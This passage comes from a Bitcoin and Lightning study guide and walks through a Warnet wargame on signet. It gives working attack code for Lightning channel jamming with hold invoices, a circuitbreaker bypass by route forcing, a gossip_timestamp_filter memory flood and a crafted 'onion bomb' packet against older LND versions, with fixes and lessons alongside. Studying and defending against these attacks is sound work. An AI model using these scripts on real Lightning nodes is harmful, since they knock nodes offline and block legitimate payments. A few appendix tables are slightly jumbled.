    A->>R: Commitment TX v1 (A: 4.999M, R: 0.001M)
    A->>R: Commitment TX v2 (A: 4.998M, R: 0.002M)
    Note over A,R: These never hit the blockchain<br/>unless the channel closes

20.2 What Is an HTLC?

An HTLC (Hash Time-Locked Contract) is the mechanism that makes multi-hop Lightning payments work. It’s a conditional payment: “I’ll pay you X sats if you reveal the preimage of this hash before this timeout.”

graph LR
    subgraph "HTLC Lifecycle"
        direction TB
        CREATE[1. Receiver creates<br/>secret R, shares H=hash R]
        LOCK[2. Sender locks sats<br/>in HTLC: 'pay if you know R']
        FORWARD[3. Each hop locks<br/>its own HTLC forward]
        REVEAL[4. Receiver reveals R<br/>to claim payment]
        SETTLE[5. R propagates back<br/>settling each HTLC]
    end
    CREATE --> LOCK --> FORWARD --> REVEAL --> SETTLE

The critical limit: Each Lightning channel can have at most 483 concurrent HTLCs in each direction. This is a hard protocol limit defined in BOLT #2. This limit is the foundation of the channel jamming attack.

20.3 Hold Invoices — The Weapon

A hold invoice (or hodl invoice) is the attacker’s primary tool. Unlike a normal invoice where the receiver immediately reveals the preimage to settle the payment, a hold invoice never reveals the preimage. The HTLC stays pending indefinitely (until timeout, which can be hours).

sequenceDiagram
    participant S as Sender (armada-1)
    participant R as Router (cancer-router)
    participant Recv as Receiver (armada-2)

    Note over Recv: Create hold invoice<br/>hash = random, never settle

    S->>R: update_add_htlc (600 sats)
    R->>Recv: update_add_htlc (600 sats)
    Note over R: HTLC slot consumed!<br/>(1 of 483 used)

    Note over S,Recv: ⏳ HTLC stays pending...<br/>Preimage never revealed<br/>Slot remains occupied

Repeat this 483 times and the channel is completely jammed — no legitimate payment can pass through.

Chapter 21: Phase 1 — Channel Jamming (The Easy Path)

21.1 The Objective

The battlefield has a payment circuit that runs automatically:

Every 5 seconds, cancer-spender-ln sends a 600-sat keysend payment to cancer-recipient-ln through cancer-router-ln.

Our goal: make those payments fail by filling all HTLC slots on the router.

21.2 The Setup

Before attacking, we need to insert ourselves into the payment topology. This requires:

  1. Opening channels from our armada to the target router
  2. Funding those channels with enough sats to sustain hundreds of micro-payments
  3. Waiting for confirmations (on signet, 1 block per ~60 seconds)
graph LR
    subgraph "Before: Target circuit works"
        SP1[spender] -->|"✅ 600 sat"| RT1[router] -->|"✅ 600 sat"| RC1[recipient]
    end

    subgraph "After: We insert ourselves"
        A1[armada-1] ===|"5M sats"| RT2[router] ===|existing| RC2[recipient]
        A2[armada-2] ===|"5M sats<br/>push 2.5M"| RT2
        SP2[spender] -->|"❌ BLOCKED"| RT2
    end

    style SP2 fill:#ffcdd2
    style RT2 fill:#ffcdd2

Why push_amt on armada-2’s channel? When we open a channel, all the balance starts on our side (local). But our hold-invoice receiver (armada-2) needs the router to have outbound capacity toward it. By pushing 2.5M sats during channel open, we give the router liquidity to forward payments to armada-2.

21.3 Channel Opening Commands

# Open channel from armada-1 to the router (all local balance)
warnet ln rpc armada-1-ln openchannel \
  $ROUTER_PUBKEY \
  --connect cancer-router-ln.default \
  --local_amt=5000000

# Open channel from armada-2 with split liquidity
warnet ln rpc armada-2-ln openchannel \
  $ROUTER_PUBKEY \
  --connect cancer-router-ln.default \
  --local_amt=5000000 \
  --push_amt=2500000

21.4 The Attack Sequence

sequenceDiagram
    participant A1 as armada-1 (Sender)
    participant RT as cancer-router
    participant A2 as armada-2 (Receiver)

    loop 500 times (0.2s delay between threads)
        A2->>A2: Create hold invoice<br/>hash = random 32 bytes
        A2-->>A1: payment_request (BOLT11 invoice)
        A1->>RT: update_add_htlc #1..#483
        RT->>A2: update_add_htlc #1..#483
        Note over RT: ⚠️ HTLC slots filling up!
    end

    Note over RT: 🚫 483/483 slots used<br/>Channel JAMMED

    RT--xRT: cancer-spender payment arrives
    Note over RT: REJECT: too many pending HTLCs

21.5 The Code

The attack script (ln_channel_jam.py) uses the Commander base class provided by Warnet, which gives access to self.lns — a dictionary of all LN nodes the scenario can control:

def send_one(index):
    # 1. Create a hold invoice on the receiver
    payment_hash = base64.b64encode(random.randbytes(32)).decode()
    response = self.lns[RECEIVER].post(
        "/v2/invoices/hodl",
        data={"value": AMT_SATS, "hash": payment_hash},
    )
    invoice = json.loads(response)["payment_request"]

    # 2. Pay from sender (fire-and-forget: HTLC stays pending)
    self.lns[SENDER].payinvoice(invoice)

# Launch 500 threads with 0.2s stagger
for i in range(500):
    threading.Thread(target=send_one, args=(i,)).start()
    sleep(0.2)

21.6 Verification

Success is confirmed when:

MetricValueMeaning
armada-1 → router: pending_htlcs483Channel 1 maxed
armada-2 → router: pending_htlcs483Channel 2 maxed
cancer-spender: failed_paymentsIncreasingLegitimate payments blocked
 
# Check from our side
warnet ln rpc armada-1-ln listchannels | python3 -c '
import sys,json; d=json.load(sys.stdin)
for c in d["channels"]:
    print(f"pending={len(c.get("pending_htlcs",[]))} active={c["active"]}")
'

Chapter 22: Phase 2 — Defeating Circuitbreaker (The Hard Path)

22.1 What Is Circuitbreaker?

Circuitbreaker is an LND plugin designed specifically to mitigate channel jamming. It acts as a firewall for HTLC forwarding:

graph LR
    subgraph "Normal LND"
        IN1[Incoming HTLC] -->|"forward"| OUT1[Outgoing HTLC]
    end

    subgraph "LND + Circuitbreaker"
        IN2[Incoming HTLC] --> CB{Circuitbreaker<br/>Rate Limiter}
        CB -->|"✅ Under limit"| OUT2[Forward HTLC]
        CB -->|"❌ Over limit"| FAIL[Reject HTLC<br/>MODE_FAIL]
    end

    style CB fill:#fff3e0
    style FAIL fill:#ffcdd2

Circuitbreaker enforces per-peer limits:

  • maxPending: Maximum concurrent pending HTLCs from a single peer (set to 5 in this contest)
  • maxHourlyRate: Maximum HTLCs per hour from a single peer (set to 0 = unlimited rate)
  • mode: MODE_FAIL — immediately reject HTLCs that exceed limits

22.2 Why Simple Jamming Fails

If we naively try the Phase 1 approach against the CB path:

armada-3 → cb-spender → cb-router → cb-recipient

The 6th HTLC from any single peer gets instantly rejected. We can never fill all 483 slots.

22.3 The Strategy: Route Forcing

The trick is that we don’t need to fill 483 slots. We only need to fill 5 — the maxPending limit. Once 5 HTLCs are pending from cb-spender to cb-router, circuitbreaker rejects ALL further forwards from cb-spender, including its legitimate 600-sat payments.

But there’s a routing problem. We need our payments to flow through a very specific path:

armada-3 → cb-spender → cb-router → cb-recipient → armada-2

Without constraints, LND’s pathfinder might choose a shorter route (e.g., cb-spender → regular-router → armada-2), completely bypassing the CB-protected path.

22.4 The Solution: outgoing_chan_ids + last_hop_pubkey

LND’s /v2/router/send API provides two critical route-forcing parameters:

graph LR
    A3[armada-3] -->|"outgoing_chan_ids<br/>forces first hop"| CBS[cb-spender]
    CBS --> CBR[cb-router]
    CBR --> CBRC[cb-recipient]
    CBRC -->|"last_hop_pubkey<br/>forces last intermediate hop"| A2[armada-2]

    style A3 fill:#bbdefb
    style CBS fill:#fff3e0
    style CBR fill:#ffcdd2
    style CBRC fill:#fff3e0
    style A2 fill:#bbdefb
ParameterPurpose
outgoing_chan_idsForces the payment to exit through a specific channel (armada-3 → cb-spender)
last_hop_pubkeyForces the last intermediate node to be cb-recipient, ensuring the route goes through cb-router

22.5 The Attack Sequence

sequenceDiagram
    participant A3 as armada-3
    participant CBS as cb-spender
    participant CBR as cb-router (CB)
    participant CBRC as cb-recipient
    participant A2 as armada-2

    Note over CBR: Circuitbreaker active<br/>maxPending=5 per peer

    loop 5 hold invoices
        A2->>A2: Create hold invoice
        A3->>CBS: HTLC (forced via outgoing_chan_ids)
        CBS->>CBR: Forward HTLC
        Note over CBR: CB check: pending from<br/>cb-spender = 1,2,3,4,5 ✅
        CBR->>CBRC: Forward HTLC
        CBRC->>A2: Forward HTLC
        Note over A2: Hold invoice: never settle ⏳
    end

    Note over CBR: 🚫 5/5 pending from cb-spender

    CBS->>CBR: Legitimate 600-sat keysend
    CBR--xCBS: REJECT (MODE_FAIL)<br/>maxPending exceeded!

    style CBR fill:#ffcdd2

22.6 The Code

# Force route through CB path
resp = self.lns[SENDER].post(
    "/v2/router/send",
    data={
        "payment_request": pay_req,
        "fee_limit_sat": 2100000000,
        "timeout_seconds": 86400,
        "outgoing_chan_ids": [armada3_to_cbspender_chan],  # Force first hop
        "last_hop_pubkey": cb_recipient_pubkey_b64,        # Force path through cb-router
    },
    wait_for_completion=False,
)

22.7 Key Insight

You don’t need to overwhelm circuitbreaker. You need to make it work against its own node. By filling exactly maxPending slots with hold invoices, circuitbreaker faithfully blocks ALL further forwards from cb-spender — including the legitimate payments it’s trying to protect.

Chapter 23: Phase 3 — Gossip Timestamp Filter DoS

23.1 The Vulnerability (CVE in LND ≤ 0.18.2)

This attack shifts from the payment layer to the gossip protocol layer (BOLT #7). Lightning nodes maintain a local copy of the network graph, which they update via gossip messages from peers.

The gossip_timestamp_filter message (type 265) allows a node to request gossip updates from a peer, filtered by timestamp:

gossip_timestamp_filter:
  chain_hash:      32 bytes  (identifies the network)
  first_timestamp:  4 bytes  (show me gossip since this time)
  timestamp_range:  4 bytes  (for this duration)

23.2 The Bug

Prior to LND v0.18.3, when a node received a gossip_timestamp_filter request, it would:

  1. Load ALL matching gossip messages into memory at once
  2. Send them to the peer one-by-one, waiting for acknowledgment
  3. Accept unlimited concurrent requests with no semaphore
graph TB
    subgraph "Attacker (20 connections)"
        C1[conn-0] & C2[conn-1] & C3[conn-...] & C4[conn-19]
    end

    subgraph "Victim (LND ≤ 0.18.2)"
        RECV[Receive gossip_timestamp_filter]
        RECV --> LOAD1[Load full graph<br/>into memory #1]
        RECV --> LOAD2[Load full graph<br/>into memory #2]
        RECV --> LOAD3[Load full graph<br/>into memory #...]
        RECV --> LOAD20[Load full graph<br/>into memory #20]

        LOAD1 --> MEM[Memory: 📈📈📈]
        LOAD2 --> MEM
        LOAD3 --> MEM
        LOAD20 --> MEM

        MEM --> OOM[💥 Out of Memory<br/>Process Killed]
    end

    C1 -->|"50 × gossip_timestamp_filter<br/>first_timestamp=0<br/>range=0xFFFFFFFF"| RECV
    C2 -->|"50 × ..."| RECV
    C3 -->|"50 × ..."| RECV
    C4 -->|"50 × ..."| RECV

    style OOM fill:#ffcdd2

23.3 The Attack: No Channels Needed

Unlike channel jamming, this attack doesn’t require opening channels or spending any sats. It only requires a raw p2p connection to the victim:

sequenceDiagram
    participant ATK as Attacker
    participant V as Victim (LND ≤ 0.18.2)

    Note over ATK: Generate random private key
    ATK->>V: TCP connect to port 9735
    ATK->>V: Noise_XK handshake (encrypted transport)
    ATK->>V: init message (feature bits)
    V->>ATK: init message
    V->>ATK: query_channel_range (optional)

    loop 50 times per connection
        ATK->>V: gossip_timestamp_filter<br/>chain_hash=signet<br/>first_timestamp=0<br/>timestamp_range=0xFFFFFFFF
    end

    Note over ATK: Read responses VERY SLOWLY<br/>(forces LND to buffer in memory)

    loop keepalive
        ATK->>V: ping
        V->>ATK: pong
        Note over V: Memory growing... 📈
    end

    Note over V: 💥 OOM Crash

23.4 The P2P Connection

The attack uses pyln-proto — a Python implementation of the Lightning Network transport protocol — to establish an encrypted p2p connection and send arbitrary BOLT messages:

from pyln.proto.wire import PrivateKey, PublicKey, connect

# Generate a throwaway identity
id_privkey = PrivateKey(random.randbytes(32))

# Establish encrypted p2p connection (Noise_XK handshake)
connection = connect(
    id_privkey,
    PublicKey(bytes.fromhex(victim_pubkey)),
    "cancer-gossip-vuln-ln.default",
    9735
)

# Complete the init handshake
send_msg(init_message)
recv_msg()  # victim's init

# Flood with gossip requests
for _ in range(50):
    send_msg(gossip_timestamp_filter(
        first_timestamp=0,           # From the beginning of time
        timestamp_range=0xFFFFFFFF   # Maximum range = full graph
    ))

23.5 The Fix (LND 0.18.3)

LND 0.18.3 added a global semaphore limiting concurrent gossip_timestamp_filter processing. While it doesn’t reduce per-request memory usage, it caps the total memory impact.

Chapter 24: Phase 4 — The Onion Bomb

24.1 The Vulnerability (LND < 0.17.0)

This attack targets the onion routing layer (BOLT #4). Every Lightning payment includes a 1,366-byte onion packet containing encrypted forwarding instructions for each hop.

24.2 How Onion Routing Works

graph LR
    subgraph "Onion Packet (1366 bytes)"
        V[Version<br/>1 byte]
        EK[Ephemeral Key<br/>33 bytes]
        RI[Routing Info<br/>1300 bytes]
        HMAC[HMAC<br/>32 bytes]
    end

    subgraph "Routing Info Structure"
        H1[Hop 1 Payload<br/>length | data | hmac]
        H2[Hop 2 Payload<br/>length | data | hmac]
        H3[Hop 3 Payload<br/>encrypted...]
        PAD[Padding...]
    end

    V --- EK --- RI --- HMAC
    RI --> H1 --> H2 --> H3 --> PAD

Each hop payload starts with a BigSize length field that tells LND how many bytes to allocate for the payload data.

24.3 The Bug

Prior to LND 0.17.0, the onion decoder allocated memory based on this length field without bounds checking:

// VULNERABLE CODE (LND < 0.17.0)
payloadSize := uint32(varInt)          // Attacker controls this!
hp.Payload = make([]byte, payloadSize) // Allocates up to 4 GB!

By encoding length = 0xFFFFFFFF (4,294,967,295 bytes ≈ 4 GB), a single malicious onion packet forces LND to allocate ~4 GB of memory. Send several in parallel, and the node crashes instantly.

graph TB
    subgraph "Malicious Onion Packet"
        V2[0x00 Version]
        EK2[Random 33-byte Key]
        subgraph "Routing Info (1300 bytes)"
            LEN[BigSize Length:<br/>0xFE 0xFF 0xFF 0xFF 0xFF<br/>= 4,294,967,295 bytes]
            JUNK[Random padding...]
        end
        HMAC2[Random 32-byte HMAC]
    end

    LEN --> ALLOC["make([]byte, 4294967295)<br/>💥 Allocates 4 GB of RAM"]

    style LEN fill:#ffcdd2
    style ALLOC fill:#ffcdd2

24.4 The Attack: Crafting the Bomb

def craft_onion_bomb():
    onion = bytearray(1366)

    onion[0] = 0x00                           # Version
    onion[1] = 0x02                           # Compressed pubkey prefix
    onion[2:34] = random.randbytes(32)        # Random ephemeral key

    # The bomb: BigSize encode UINT32_MAX
    onion[34] = 0xFE                          # BigSize prefix for 4-byte value
    struct.pack_into(">I", onion, 35, 0xFFFFFFFF)  # 4,294,967,295

    onion[39:1334] = random.randbytes(1295)   # Fill remaining routing info
    onion[1334:1366] = random.randbytes(32)   # Random HMAC

    return bytes(onion)

The bomb is delivered via a raw update_add_htlc message (type 128) sent over a p2p connection. LND decodes the onion before validating the HMAC, so the invalid HMAC doesn’t prevent the allocation.

24.5 The Fix (LND 0.17.0)

The fix adds a bounds check that caps the maximum payload size at UINT16_MAX (65,535 bytes) — reducing the maximum allocation from 4 GB to 64 KB:

// FIXED CODE (LND ≥ 0.17.0)
if varInt > math.MaxUint16 {
    return 0, fmt.Errorf("payload size %d exceeds maximum %d",
        varInt, math.MaxUint16)
}
return uint16(varInt), nil

24.6 Discovery Story

This vulnerability was found in less than a minute of fuzz testing. A simple 10-line fuzz test that feeds random bytes to the onion decoder would have caught it before it was ever merged. — Matt Morehouse

Chapter 25: The Execution Timeline

Here’s how all four phases come together in a real attack session:

gantt
    title Wrath of Nalo — Attack Execution Timeline
    dateFormat HH:mm
    axisFormat %H:%M

    section Setup
    Auth to cluster & verify access           :done, 00:00, 5min
    Discover target pubkeys (LN Visualizer)   :done, 00:05, 10min
    Fund armada wallets (organizer)            :done, 00:15, 5min

    section Channels
    Open 4 channels to battlefield nodes      :done, 00:20, 5min
    Wait for confirmations (~6 blocks)        :done, 00:25, 10min
    Verify channels active (listchannels)     :done, 00:35, 5min

    section Phase 1: Channel Jam
    Deploy ln_channel_jam.py                  :active, 00:40, 120min
    All 483+483 HTLC slots filled            :milestone, 00:45, 0min

    section Phase 2: CB Jam
    Deploy ln_channel_jam_cb.py              :active, 00:50, 120min
    5 hold invoices fill maxPending          :milestone, 00:52, 0min

    section Phase 3: Gossip DoS
    Deploy ln_gossip_dos.py                  :done, 01:00, 2min
    Target already down                      :milestone, 01:01, 0min

    section Phase 4: Onion Bomb
    Deploy ln_onion_dos.py                   :done, 01:05, 2min
    Target already down                      :milestone, 01:06, 0min

    section Monitoring
    Verify via Prometheus + listchannels     :active, 01:10, 120min

Chapter 26: Dependencies and Prerequisites

Understanding what depends on what is crucial for troubleshooting:

graph TB
    AUTH[1. Cluster Auth<br/>kubeconfig] --> STATUS[2. Verify Access<br/>warnet status]
    STATUS --> FUND[3. Wallet Funding<br/>walletbalance]
    FUND --> PUBKEY[4. Discover Pubkeys<br/>LN Visualizer / describegraph]
    PUBKEY --> OPEN[5. Open Channels<br/>openchannel --connect]
    OPEN --> CONFIRM[6. Wait for Confirmations<br/>pendingchannels → listchannels]
    CONFIRM --> P1[Phase 1: Channel Jam<br/>ln_channel_jam.py]
    CONFIRM --> P2[Phase 2: CB Jam<br/>ln_channel_jam_cb.py]
    PUBKEY --> P3[Phase 3: Gossip DoS<br/>ln_gossip_dos.py]
    PUBKEY --> P4[Phase 4: Onion Bomb<br/>ln_onion_dos.py]

    P1 -.->|"requires outbound<br/>liquidity via push_amt"| LIQUIDITY[Liquidity Planning]
    P2 -.->|"requires route forcing<br/>via outgoing_chan_ids"| ROUTING[Route Discovery]
    OPEN -.-> LIQUIDITY
    CONFIRM -.-> ROUTING

    style P1 fill:#c8e6c9
    style P2 fill:#fff9c4
    style P3 fill:#e1bee7
    style P4 fill:#e1bee7

Note: Phases 3 and 4 are independent of channel setup — they only need the target’s pubkey and hostname. They can be executed in parallel with or even before the channel jamming phases.

Chapter 27: Lessons Learned

27.1 Operational Lessons

LessonContext
Know your environmentThe battlefield runs signet, not regtest. Deploying regtest configs to the remote cluster wiped all funded wallets (emptyDir volumes are ephemeral).
Namespace mattersArmada nodes live in wargames-cancer, battlefield nodes in default. Cross-namespace DNS requires the .default suffix.
Push amounts create liquidityWithout --push_amt, the router has no outbound capacity toward your receiver. Payments fail with “no route.”
Test locally firstThe local regtest_jam / regtest_vuln environments let you iterate quickly with instant blocks and full admin access.
Don’t use --debug for long-running attacks--debug streams logs to your terminal. If the terminal dies, the scenario pod gets killed. Omit --debug for attacks that need to persist.

27.2 Security Lessons

VulnerabilityRoot CauseLesson
Channel JammingFinite HTLC slots + no cost to hold themOpen research problem. No complete fix exists. Circuitbreaker is a mitigation, not a solution.
Gossip DoSUnbounded memory allocation per gossip request, no concurrency limitAlways bound resource allocation. Add semaphores for concurrent request handling.
Onion BombMissing bounds check on attacker-controlled length fieldValidate all untrusted inputs. A 10-line fuzz test would have caught this bug.
Circuitbreaker BypassPer-peer limits can be saturated with exactly maxPending hold invoicesRate limiting helps but doesn’t eliminate jamming. The attacker only needs to match the limit, not overwhelm it.

27.3 The Bigger Picture

mindmap
  root((Lightning<br/>Security))
    Protocol Design
      HTLC slot limits enable jamming
      Hold invoices have no cost
      Gossip is cooperative by default
      Onion decoding trusts length fields
    Mitigations
      Circuitbreaker: rate limiting
      Reputation systems: proposed
      Upfront fees: proposed
      Fuzz testing: catches input bugs
    Open Problems
      No complete jamming solution
      Privacy vs accountability tradeoff
      Resource exhaustion in p2p protocols
      Coordinated multi-vector attacks

Glossary

TermDefinition
HTLCHash Time-Locked Contract — a conditional payment that requires a secret (preimage) to claim
Hold InvoiceAn invoice where the receiver intentionally never reveals the preimage, keeping the HTLC pending
Channel JammingFilling all HTLC slots on a channel with pending payments to block legitimate traffic
CircuitbreakerAn LND plugin that rate-limits HTLC forwarding per peer
BOLTBasis of Lightning Technology — the specification documents for the Lightning Network protocol
Gossip ProtocolHow Lightning nodes share and update their view of the network graph
Onion RoutingMulti-layer encryption ensuring each hop can only see its own forwarding instructions
BigSizeA variable-length integer encoding used in Lightning protocol messages
SignetA Bitcoin testnet where only designated signers can produce blocks
WarnetA framework for deploying realistic Bitcoin/LN networks in Kubernetes
CommanderWarnet’s base class for attack scenarios, providing access to nodes via self.lns and self.tanks
ArmadaThe set of nodes controlled by a team in the Wrath of Nalo contest
pyln-protoA Python library implementing the Lightning Network p2p transport and message encoding
OOMOut of Memory — when a process exhausts available RAM and is killed by the OS
Push AmountSats transferred to the remote side during channel opening, creating initial remote balance

References

  1. Warnet Framework — github.com/bitcoin-dev-project/warnet
  2. Channel Jamming Attacks — bitcoinops.org/en/topics/channel-jamming-attacks
  3. Hold Invoices — bitcoinops.org/en/topics/hold-invoices
  4. Circuitbreaker — github.com/lightningequipment/circuitbreaker
  5. LND Gossip Timestamp Filter DoS — morehouse.github.io/lightning/lnd-gossip-timestamp-filter-dos
  6. LND Onion Bomb — morehouse.github.io/lightning/lnd-onion-bomb
  7. BOLT Specifications — github.com/lightning/bolts
  8. Lightning Network Book — github.com/lnbook/lnbook

Appendix: Quick Reference

A. BIP Standards Summary

BIPNamePurpose
BIP 32HD WalletsDeterministic key derivation from seed
BIP 39MnemonicHuman-readable seed words
BIP 44Multi-AccountStandard derivation paths
BIP 84Native SegWitDerivation for P2WPKH
BIP 86Taproot Single KeyDerivation for P2TR key-path
BIP 340Schnorr SignaturesSignature algorithm for Taproot
BIP 341TaprootOutput and spending rules
BIP 342TapscriptScript rules for Taproot
BIP 174PSBTPartially Signed Bitcoin Transactions format

B. Common Derivation Paths

PathNetworkType
m/44'/0'/0'MainnetLegacy P2PKH
m/49'/0'/0'MainnetWrapped SegWit P2SH-P2WPKH
m/84'/0'/0'MainnetNative SegWit P2WPKH
m/86'/0'/0'MainnetTaproot P2TR
m/86'/1'/0'Testnet/SignetTaproot P2TR

C. Script Opcodes Reference

OpcodeHexDescription
OP_00x00Push empty byte array
OP_1-OP_160x51-0x60Push numbers 1-16
OP_RETURN0x6aMarks output as unspendable
OP_DUP0x76Duplicate top stack item
OP_EQUAL0x87Compare top two items
OP_EQUALVERIFY0x88Equal then verify (fails if not equal)
OP_CHECKSIG0xacVerify signature
OP_CHECKSIGADD0xbaVerify and add to counter (Tapscript)
OP_CHECKLOCKTIMEVERIFY0xb1Absolute Time/Block lock (CLTV)
OP_CHECKSEQUENCEVERIFY0xb2Relative Time/Block lock (CSV)

D. Size Reference

ComponentSize
Private key32 bytes
Public key (compressed)33 bytes
Public key (x-only)32 bytes
Schnorr signature64 bytes
ECDSA signature~71-72 bytes (DER encoded)
P2TR output script34 bytes (OP_1 + push32 + key)
Outpoint36 bytes (txid 32B + vout 4B)
Value (Amount)8 bytes (int64)
Block Header80 bytes

E. Essential RPC Commands

CommandCategoryDescription
getblockchaininfoNetworkStatus of chain, sync progress, and active soft forks.
getnewaddressWalletGenerates a new address (type depends on wallet config).
listunspentWalletReturns array of UTXOs owned by the wallet.
createrawtransactionRawCreates an unsigned TX hex from inputs and outputs.
signrawtransactionwithwalletWalletSigns inputs using keys found in the wallet.
sendrawtransactionNetworkBroadcasts a signed TX hex to the P2P network.
testmempoolacceptDebugValidation check (dry-run) for a transaction without broadcasting.
scantxoutsetBlockchainScans UTXO set for specific descriptors (useful for recovering funds).
TXID32 bytes

E. Tagged Hash Tags ✅

TagUsage
“TapLeaf”Hash of a script in the Taproot tree
“TapBranch”Combine two child hashes
“TapTweak”Compute the tweak value
“TapSighash”The signature message
“BIP0340/challenge”Schnorr signature challenge
“BIP0340/aux”Auxiliary randomness
“BIP0340/nonce”Nonce generation

F. Glossary (Validated Against bitcoincore.academy) ✅

TermDefinition
UTXOAn unspent transaction output that can be spent as an input in a new transaction with a valid ScriptSig
MempoolCollection of valid transactions learned from P2P network but not yet confirmed in a block
ConfirmationOnce a transaction is included in a block, it has one confirmation. Six or more is considered sufficient proof that a transaction cannot be reversed
ConsensusWhen several nodes have the same blocks in their locally-validated best block chain
Consensus RulesThe block validation rules that full nodes follow to stay in consensus
ScriptBitcoin uses a scripting system that is Forth-like, simple, stack-based, and processed left to right. Purposefully not Turing-complete
ScriptPubKeyScript included in outputs which sets conditions for spending those satoshis
ScriptSigData generated by a spender to satisfy a pubkey script
HD ProtocolHierarchical Deterministic key creation and transfer protocol (BIP-32)
CKDChild key derivation functions - compute child extended key from parent and index
PSBTPartially Signed Bitcoin Transaction format (BIP 174, BIP 370)
CPFPChild-Pays-For-Parent - pay high fee to incentivize confirming parent transaction
RBFReplace-by-fee - replacements must pay for their own cost plus the fee of replaced transactions
DustAn output so small that spending it costs more in fees than it’s worth

G. Wallet Component Structure ⚠️

Per bitcoincore.academy/components-overview.html:

graph TD
    subgraph WalletStructure["Wallet Structure"]
        CW["CWallet"]
        WDB["WalletDatabase"]
        SPKM["ScriptPubKeyMan (base)"]
        DSPKM["DescriptorScriptPubKeyMan"]
        LSPKM["LegacyScriptPubKeyMan"]
        SP["SigningProvider"]
        IC["Interfaces::Chain"]
        LOCK["cs_wallet (lock)"]
    end
    
    CW --> WDB
    CW --> SPKM
    SPKM --> DSPKM
    SPKM --> LSPKM
    DSPKM --> SP
    LSPKM --> SP
    CW --> IC
    CW --> LOCK
ComponentPurpose
WalletDatabaseRepresents a single wallet, handles reads/writes to disk
ScriptPubKeyManBase class for SPKM implementations
DescriptorScriptPubKeyManSPKM for descriptor-based wallets
LegacyScriptPubKeyManSPKM for legacy wallets
SigningProviderInterface for a KeyStore to sign transactions from
Interfaces::ChainAccess to chain state, fee rates, notifications, tx submission
cs_walletPrimary wallet lock for atomic operations

This curated guide was validated against bitcoincore.academy on January 30, 2026. For the most current information, always consult the official Bitcoin Core documentation and source code.